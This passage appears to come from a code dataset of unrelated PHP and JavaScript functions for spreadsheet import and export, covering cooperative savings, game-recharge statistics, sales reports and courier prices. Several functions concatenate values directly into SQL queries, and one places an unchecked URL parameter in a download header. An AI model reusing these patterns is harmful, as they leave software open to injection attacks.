$ALAMAT_DOMISILI,\n\t\t\t\t\t\t'KODEPUSAT' => $this->session->userdata('wad_kodepusat'),\n\t\t\t\t\t\t'KODECABANG' => $CABANG,\n\t\t\t\t\t\t'KOLEKTOR' => \"0\",\n\t\t\t\t\t\t'STATUS' => \"0\",\n\t\t\t\t\t\t'KETERANGAN' => 'Setoran awal simpanan mudharabah '.$NAMA.' '.$noAgt\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t\t\t\t$this->dbasemodel->insertData('transaksi_simp', $insertsimp2);\n\t\t\t\t\t\t\n\t\t\t\t\t$insertsimp3 = array(\n\t\t\t\t\t\t'ID_ANGGOTA' => $insertProc,\n\t\t\t\t\t\t'TGL_TRX' => date(\"Y-m-d H:i:s\"),\n\t\t\t\t\t\t'ID_JENIS' => \"259\",\n\t\t\t\t\t\t'JUMLAH' => \"20000\",\n\t\t\t\t\t\t'KET_BAYAR' => \"Tabungan\",\n\t\t\t\t\t\t'AKUN' => \"Setoran\",\n\t\t\t\t\t\t'DK' => \"D\", \n\t\t\t\t\t\t'ID_KAS' => $getIdKas->ID_JNS_KAS,\n\t\t\t\t\t\t'ID_KASAKUN' => $getIdKas->IDAKUN, \n\t\t\t\t\t\t'USERNAME' => $this->session->userdata('wad_user'),\n\t\t\t\t\t\t'NAMA_PENYETOR' => $NAMA,\n\t\t\t\t\t\t'NO_IDENTITAS' => $NO_IDENTITAS,\n\t\t\t\t\t\t'ALAMAT' => $ALAMAT_DOMISILI,\n\t\t\t\t\t\t'KODEPUSAT' => $this->session->userdata('wad_kodepusat'),\n\t\t\t\t\t\t'KODECABANG' => $CABANG,\n\t\t\t\t\t\t'KOLEKTOR' => \"0\",\n\t\t\t\t\t\t'STATUS' => \"0\",\n\t\t\t\t\t\t'KETERANGAN' => 'Setoran awal simpanan wajib '.$NAMA.' '.$noAgt\n\t\t\t\t\t); \n\t\t\t\t\t$this->dbasemodel->insertData('transaksi_simp', $insertsimp3);\n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\t$sqlcus = \"SELECT * FROM transaksi_simp WHERE UPDATE_DATA='0000-00-00 00:00:00' AND DATE(TGL_TRX)='\".date(\"Y-m-d\").\"' AND STATUS='0' AND KODECABANG='\".$CABANG.\"'\";\n\t\t\t\n\t\t\t\t\t$cus = $this->dbasemodel->loadsql($sqlcus);\n\t\t\t\t\t\n\t\t\t\t\tif($cus->num_rows()>0)\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach($cus->result() as $key)\n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t// Insert data transaksi simpanan ke jurnal transaksi(table vtransaksi) \n\t\t\t\t\t\t\t$datatransaksi = array( 'tgl' => $key->TGL_TRX, 'jumlah' => $key->JUMLAH, 'keterangan' => $key->KETERANGAN, 'ket_dt' => $key->KETERANGAN, 'user' => $key->USERNAME, 'kodecabang' => $key->KODECABANG, 'idkasakun' => $key->ID_KASAKUN);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this->ModelVTransaksi->insertVtransaksi($key->ID_TRX_SIMP, $datatransaksi, 'ST', $key->ID_KAS, $key->ID_JENIS, 'SIMP');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$ceklst = $this->dbasemodel->loadsql(\"SELECT * FROM m_anggota_simp WHERE IDANGGOTA='\".$key->ID_ANGGOTA.\"' AND IDJENIS_SIMP='\".$key->ID_JENIS.\"'\");\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($ceklst->num_rows()>0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$rchek = $ceklst->row();\n\t\t\t\t\t\t\t\t$sql = sprintf(\"UPDATE m_anggota_simp SET SALDO = (SALDO + %s) WHERE ID_ANG_SIMP = %s \", $key->JUMLAH, $rchek->ID_ANG_SIMP);\n\t\t\t\t\t\t\t\t$this->dbasemodel->loadSql($sql); \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$datacheclist = array(\"IDANGGOTA\"\t => $key->ID_ANGGOTA,\n\t\t\t\t\t\t\t\t\t\t\t\t\t \"IDJENIS_SIMP\" => $key->ID_JENIS,\n\t\t\t\t\t\t\t\t\t\t\t\t\t \"SALDO\" => $key->JUMLAH,\n\t\t\t\t\t\t\t\t\t\t\t\t\t \"TGLREG\"\t\t => date(\"Y-m-d\", strtotime($key->TGL_TRX)));\n\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t$this->dbasemodel->insertData(\"m_anggota_simp\",$datacheclist);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$wheresimp = \"ID_TRX_SIMP = '\". $key->ID_TRX_SIMP.\"'\";\n\t\t\t\t\t\t\t$updatesimp = array(\"UPDATE_DATA\"=>date(\"Y-m-d H:i:s\"), \"STATUS\"=>\"1\");\n\t\t\t\t\t\t\t$this->dbasemodel->updateData(\"transaksi_simp\", $updatesimp, $wheresimp);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$wanggota = \"IDANGGOTA = '\". $key->ID_ANGGOTA.\"'\";\n\t\t\t\t\t\t\t$uanggota = array(\"AKTIF\"=>\"Y\");\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this->dbasemodel->updateData(\"m_anggota\", $uanggota, $wanggota);\t \n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\t$numrow++;\n \n\t\t\t} \n unlink(realpath('uploads/temp/'.$data_upload['file_name']));\n \n $this->session->set_flashdata('notif', '<div class=\"alert alert-success\"><b>PROSES IMPORT BERHASIL!</b> Data berhasil diimport!</div>');\n \n redirect('importanggota');\n\n }\n }", "public function exceldata($cond,$goodsprice,$accountxlmj){\n\t\t$rdata=array();\n\t\t$tdata=array();\n\t\t$map=array();\n\t\t$gameid=$cond['gameid'];\n\t\t$page=$cond['page'];\n\t\t$count= count($this->field(\"COUNT(*)\")->GROUP(\"DATE_FORMAT(pay_time,'%Y-%m-%d')\")->select());// 查询满足要求的总记录数 \n $Page= new \\Think\\Page($count,10000);// 实例化分页类 传入总记录数和每页显示的记录数(25) \n $ppp = ceil($count/10000); \n $pp = range(1,$ppp);\n $str= \"统计日期,充值人数,充值次数,充值金额,新增充值人数,新增充值次数,新增充值金额\"; \n $exl11 = explode(',',$str);\n\t\tforeach ($pp as $kkk => $vvv){\n\t\t\t$res1=$this->field(\"DATE_FORMAT(pay_time,'%Y-%m-%d'),count(user_id),count(DISTINCT user_id)\")->GROUP(\"DATE_FORMAT(pay_time,'%Y-%m-%d')\")->order(\"DATE_FORMAT(pay_time,'%Y-%m-%d') desc\")->page($vvv.', 10000')->select();\n\t\t\t$days=array();\n\t\t\tforeach ($res1 as $key => $value) {\n\t\t\t\tarray_push($days, $value[\"date_format(pay_time,'%y-%m-%d')\"]);\n\t\t\t}\n\t\t\t$goodsids=array();\n\t\t\tforeach ($days as $key => $valuex) {\n\t\t\t\t$childx=array();\n\t\t\t\t$resx=$this->field('good_id')->where(\"DATE_FORMAT(pay_time,'%Y-%m-%d')='\".$valuex.\"'\")->select();\n\t\t\t\tforeach ($resx as $key => $value) {\n\t\t\t\t\tarray_push($childx, $value['good_id']);\n\t\t\t\t}\n\t\t\t\t$goodsids[$valuex]=$childx;\n\t\t\t}\n\t\t\t$goodsparr=array();\n\t\t\tforeach ($goodsids as $key => $value) {\n\t\t\t\t$price=0;\n\t\t\t\tforeach ($value as $keys => $values) {\n\t\t\t\t\tif($goodsprice[intval($values)]){\n\t\t\t\t\t\t$price+=$goodsprice[intval($values)];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$goodsparr[$key]=$price;\n\t\t\t}\n\t\t\tforeach ($res1 as $key => $value) {\n\t\t\t\t$timec=$value[\"date_format(pay_time,'%y-%m-%d')\"];\n\t\t\t\tforeach ($goodsparr as $keye => $valuee) {\n\t\t\t\t\tif($timec==$keye){\n\t\t\t\t\t\t$res1[$key]['recharge']=$valuee;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\n\t\t\tfor ($i=0; $i <count($res1) ; $i++) { \n\t\t\t$tdata[$i]['paytime']=$res1[$i][\"date_format(pay_time,'%y-%m-%d')\"];\n\t\t\t$mapp[\"pay_time\"]=array('between',$tdata[$i]['paytime'].' 00:00:00,'.$tdata[$i]['paytime'].\" 23:59:59\");\n\t\t\t$newids=$accountxlmj->getTimeNew($tdata[$i]['paytime'].' 00:00:00',$tdata[$i]['paytime'].\" 23:59:59\");\n\t\t\t//var_dump($newids);\n\t\t\t$payerids=$this->where($mapp)->field('user_id,good_id')->select();\n\t\t\tfor ($j=0; $j < count($payerids) ; $j++) {\n\t\t\t\t$tempid=$payerids[$j]['user_id'];\n\t\t\t\tif(!in_array($tempid,$newids)){\n\t\t\t\t\tunset($payerids[$j]);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$newpay=0;\n\t\t\t$newpayer=array();\n\t\t\tforeach ($payerids as $key => $value) {\n\t\t\t\tarray_push($newpayer, $value['user_id']);\n\t\t\t\tif($goodsprice[intval($value['good_id'])]){\n\t\t\t\t\t\t$newpay+=$goodsprice[intval($value['good_id'])];\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$tdata[$i]['newpaynums']=count($payerids);//新增次数\n\t\t\t$tdata[$i]['newpaymoney']=$newpay;//新增金额\n\t\t\t$tdata[$i]['newpayplayers']=count(array_unique($newpayer));//新增人数\n\t\t\t$tdata[$i]['payplayers']=$res1[$i][\"count(distinct user_id)\"];\n\t\t\t$tdata[$i]['paynums']=$res1[$i][\"count(user_id)\"];\n\t\t\t$tdata[$i]['paymoney']=$res1[$i][\"recharge\"];\n\t\t}\n\t\t// var_dump($tdata);\n\t\t// \texit();\n\t\t\tforeach ($tdata as $k => $v){ \n if (!$v['paytime']) $v['paytime'] = '暂无数据'; \n if (!$v['payplayers']) $v['payplayers'] = '0'; \n if (!$v['paynums']) $v['paynums'] = '0'; \n if (!$v['paymoney']) $v['paymoney'] = '0'; \n if (!$v['newpayplayers']) $v['newpayplayers'] = '0'; \n if (!$v['newpaynums']) $v['newpaynums'] = '0'; \n if (!$v['newpaymoney']) $v['newpaymoney'] = '0'; \n $tdatas[] = array( \n $v['paytime'],$v['payplayers'],$v['paynums'],$v['paymoney'],$v['newpayplayers'],$v['newpaynums'],$v['newpaymoney'] \n ); \n }\n \texportToExcel('充值记录_'.time().$vvv.'.csv',$exl11,$tdatas); \n\t\t}\n\t\texit();\n\t}", "static public function ctrDescargarReporte(){\n\n\t\tif(isset($_GET[\"reporte\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\t$fechaInicial = null;\n $fechaFinal = null;\n\n \t$respuesta = ControladorVentas::ctrRangoFechasVentasCtaCorriente($fechaInicial, $fechaFinal);\n\n \t\n\t\t\t/*=============================================\n\t\t\tCREAMOS EL ARCHIVO DE EXCEL\n\t\t\t=============================================*/\n\n\t\t\t$Name = $_GET[\"reporte\"].'.xls';\n\n\t\t\theader('Expires: 0');\n\t\t\theader('Cache-control: private');\n\t\t\theader(\"Content-type: application/vnd.ms-excel\"); // Archivo de Excel\n\t\t\theader(\"Cache-Control: cache, must-revalidate\"); \n\t\t\theader('Content-Description: File Transfer');\n\t\t\theader('Last-Modified: '.date('D, d M Y H:i:s'));\n\t\t\theader(\"Pragma: public\"); \n\t\t\theader('Content-Disposition:; filename=\"'.$Name.'\"');\n\t\t\theader(\"Content-Transfer-Encoding: binary\");\n\n\t\t\techo utf8_decode(\"<table border='0'> \n\n\t\t\t\t\t<tr>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>FECHA</td>\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>CODIGO</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>CLIENTE</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>TOTAL</td>\n\t\t\t\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>REPUESTO</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>GABRIEL</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>GANANCIA</td>\n\t\t\t\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>VALIDACION</td>\n\t\t\t\t\t\t\n\t\t\t\t\t</tr>\");\n\t\t\t$i=2;\n\t\t\tforeach ($respuesta as $row => $item){\n\t\t\t\t$i++;\n\t\t\t\t$cliente = ControladorClientes::ctrMostrarClientes(\"id\", $item[\"id_cliente\"]);\n\t\t\t\t$vendedor = ControladorUsuarios::ctrMostrarUsuarios(\"id\", $item[\"id_vendedor\"]);\n\t\t\t\t\n\t\t\t echo utf8_decode(\"<tr>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$item[\"fecha\"].\"</td> \n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$item[\"codigo\"].\"</td>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$cliente[\"nombre\"].\"</td>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$item[\"total\"].\"</td>\");\n\n\t\t\t \t$productos = json_decode($item[\"productos\"], true);\n\t\t\t \t\n\t\t\t \t$gp = 0;\n\t\t\t \t$servicioLocal = 0;\n\t\t\t \t$repuesto = 0;\n\t\t\t \t\n\t\t\t \tforeach ($productos as $key => $valueProductos) {\n\n\t\t\t \t\tswitch ($valueProductos['id']) {\n\t\t\t \t\t\tcase 23:\n\t\t\t \t\t\t\t# code...\n\t\t\t \t\t\t $gp += intval($valueProductos['total']);\n\t\t\t \t\t\t\tbreak;\n\t\t\t \t\t\tcase 22:\n\t\t\t \t\t\t\t# code...\n\t\t\t \t\t\t $servicioLocal += intval($valueProductos['total']);\n\t\t\t \t\t\t\tbreak;\n\t\t\t \t\t\tdefault:\n\t\t\t \t\t\t\t# code...\n\t\t\t \t\t\t\t$repuesto += intval($valueProductos['total']);\n\t\t\t \t\t\t\tbreak;\n\t\t\t \t\t}\n\t\t\t \t\t\t\n\t\t \t\t\n\t\t \t\t\t\n\t\t\t \t}\n\t\t\t \t$validacion = $item[\"total\"] - $repuesto - $servicioLocal - $gp;\n\n\t\t\t \techo utf8_decode(\"<td style='border:1px solid #eee;'>\".$repuesto.\"</td><td style='border:1px solid #eee;'>\".$gp.\"</td><td style='border:1px solid #eee;'>\".$servicioLocal.\"</td><td style='border:1px solid #eee;'> </td><td style='border:1px solid #eee;'>\".$validacion.\"</td>\n\t\t\t\t\t\t\n\t\t \t\t\t</tr>\n\t\t\t\t\t\n\t\t \t\t\t\");\n\n\n\t\t\t}\n\t\t\n\t\t\techo utf8_decode(\"<tr></tr>\n\t\t\t\t\t\t\t \n\t\t\t\t\t<tr>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>TOTAL</td>\n\t\t\t\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>REPUESTO</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>GABRIEL</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>GANANCIA</td>\n\t\t\t\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>VALIDACION</td>\n\t\t\t\t\t\t\n\t\t\t\t\t</tr>\t\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td colspan='2' style='font-weight:bold;pull-right'>SUBTOTALES<td>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<td style='font-weight:bold;'>=SUMA(D2:D$i)</td>\n\t\t\t\t\t\t<td style='font-weight:bold;'>=SUMA(E2:E$i)</td>\n\t\t\t\t\t\t<td style='font-weight:bold;'>=SUMA(F2:F$i)</td>\n\t\t\t\t\t\t<td style='font-weight:bold;'>=SUMA(G2:G$i)</td>\n\t\t\t\t\t\t<td><td>\n\t\t\t\t\t\t<td style='font-weight:bold;'>=SUMA(I2:I$i)</td>\n\t\t\t\t\t</tr>\n\n\t\t\t\t\t\");\n\n\t\t\techo utf8_decode(\"<tr></tr>\");\n\n \t$item = null;\n $valor = null;\n\n $gastos = ControladorVentas::ctrMostrarGastitos($item, $valor);\n \t$p=$i+2;\n $g=$i+5;\n foreach ($gastos as $key => $value2) {\n\n \tswitch ($value2['nombre']) {\n \t\tcase 'COMPRA':\n \t\t\t# code...\n \t\t\t$compra = $value2['importe'];\n \t\t\t$ariel = 0;\n \t\t\t$gabriel = 0;\n \t\t\tbreak;\n \t\tcase 'ARIEL':\n \t\t\t# code...\n \t\t\t$compra = 0;\n \t\t\t$ariel = $value2['importe'];\n \t\t\t$gabriel = 0;\n \t\t\tbreak;\n \t\tcase 'GABRIEL':\n \t\t\t# code...\n \t\t\t$compra = 0;\n \t\t\t$ariel = 0;\n \t\t\t$gabriel = $value2['importe'];\n \t\t\tbreak;\n \t\t\n \t\t\n \t}\n \t\t\n \t\t$g++;\n\t\t echo utf8_decode(\"<tr>\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\t\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>\".$value2['nombre'].\"</td>\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>\".$value2['obs'].\"</td>\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>\".(-1)*$value2['importe'].\"</td>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>\".(-1)*$compra.\"</td>\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>\".(-1)*$gabriel.\"</td>\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>\".(-1)*$ariel.\"</td>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\n\t\t\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td></tr>\");\n\t\t }\n\n\t\t\techo utf8_decode(\"<tr></tr>\n\t\t\t\t\t\t\t <tr></tr>\n\t\t\t\t\t\t\t <tr></tr>\n\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td colspan='2'><td>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<td style='font-weight:bold;color:red'>=SUMA(D$p:D$g)</td>\n\t\t\t\t\t\t<td style='font-weight:bold;color:red'>=SUMA(E$p:E$g)</td>\n\t\t\t\t\t\t<td style='font-weight:bold;color:red'>=SUMA(F$p:F$g)</td>\n\t\t\t\t\t\t<td style='font-weight:bold;color:red'>=SUMA(G$p:G$g)</td>\n\t\t\t\t\t\t<td style='font-weight:bold;color:red'><td>\n\t\t\t\t\t\t<td style='font-weight:bold;color:red'>=SUMA(I$p:I$g)</td>\n\t\t\t\t\t</tr>\n\n\t\t\t\t\t<tr>\n\t\t\t\t\t<td border:1px solid #eee;'>FECHA</td>\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>CODIGO</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>CLIENTE</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>TOTAL</td>\n\t\t\t\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>REPUESTO</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>GABRIEL</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>GANANCIA</td>\n\t\t\t\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'></td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>VALIDACION</td>\n\t\t\t\t\t\t\n\t\t\t\t\t</tr>\");\n\t\t\techo \"</table>\";\n\n\t\t}\n\n\t}", "function dadosCadastros(){//função geral que será chamada na index\n pegaCadastrosJson();//pega os valores dos cadastros do arquivo JSON e salva em um array\n contaNumeroCadastros();//conta Quantos cadastros existem\n }", "function export_nik_unins_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_unins($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Non-Debet\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN NON-DEBET.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function importcccost(){\n// dd();\n $data = Excel::load('../couriers/clubcourierprices.xlsx', function($reader) {\n })->get();\n if(!empty($data) && $data->count()){\n foreach ($data as $key => $value) {\n if(!empty($value->from)){\n\n $fromId = 0;\n $toId = 0;\n $existingRegion = $this->checkCCregionexist($value->from);\n if(count($existingRegion)>0){\n $fromId = $existingRegion[0]->id;\n }else{\n $fromId = DB::table($this->DBTables['CCRegion'])->insertGetId(\n ['region' => $value->from]\n );\n }\n $existingRegion = $this->checkCCregionexist($value->to);\n if(count($existingRegion)>0){\n $toId = $existingRegion[0]->id;\n }else{\n $toId = DB::table($this->DBTables['CCRegion'])->insertGetId(\n ['region' => $value->to]\n );\n }\n $CostInsertId = DB::table($this->DBTables['CCCost'])->insertGetId(\n ['from_region_id' => $fromId, 'to_region_id'=>$toId, 'small_bag_cost'=>$value->small_bag_rrp,'standard_bag_cost'=>$value->standard_bag_rrp,'large_bag_cost'=>$value->large_bag_rrp,'transit_days'=>$value->transit_time_days]\n );\n }\n }\n }\n }", "function export_log_trx_pendebetan()\n\t{\n\t\t$trx_date=$this->uri->segment(3);\n\t\t$angsuran_id=$this->uri->segment(4);\n\t\t$datas = $this->model_transaction->get_log_trx_pendebetan($trx_date,$angsuran_id);\n\t\t$data_angsuran_temp = $this->model_transaction->get_mfi_angsuran_temp_by_angsuran_id($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(20);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(20);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(20);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Ter Debet\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=2;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row,\"Jumlah Pembayaran\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row,\"Jumlah Terdebet\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row,\"Selisih\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':E'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row.':C'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row.':D'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row.':E'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':E'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row,$datas[$i]['jumlah_bayar']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row,$datas[$i]['jumlah_angsuran']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row,($datas[$i]['jumlah_bayar']-$datas[$i]['jumlah_angsuran']));\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':E'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN TER DEBET_'.$data_angsuran_temp['keterangan'].'.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "function export_finance_canceled_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_canceled($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = 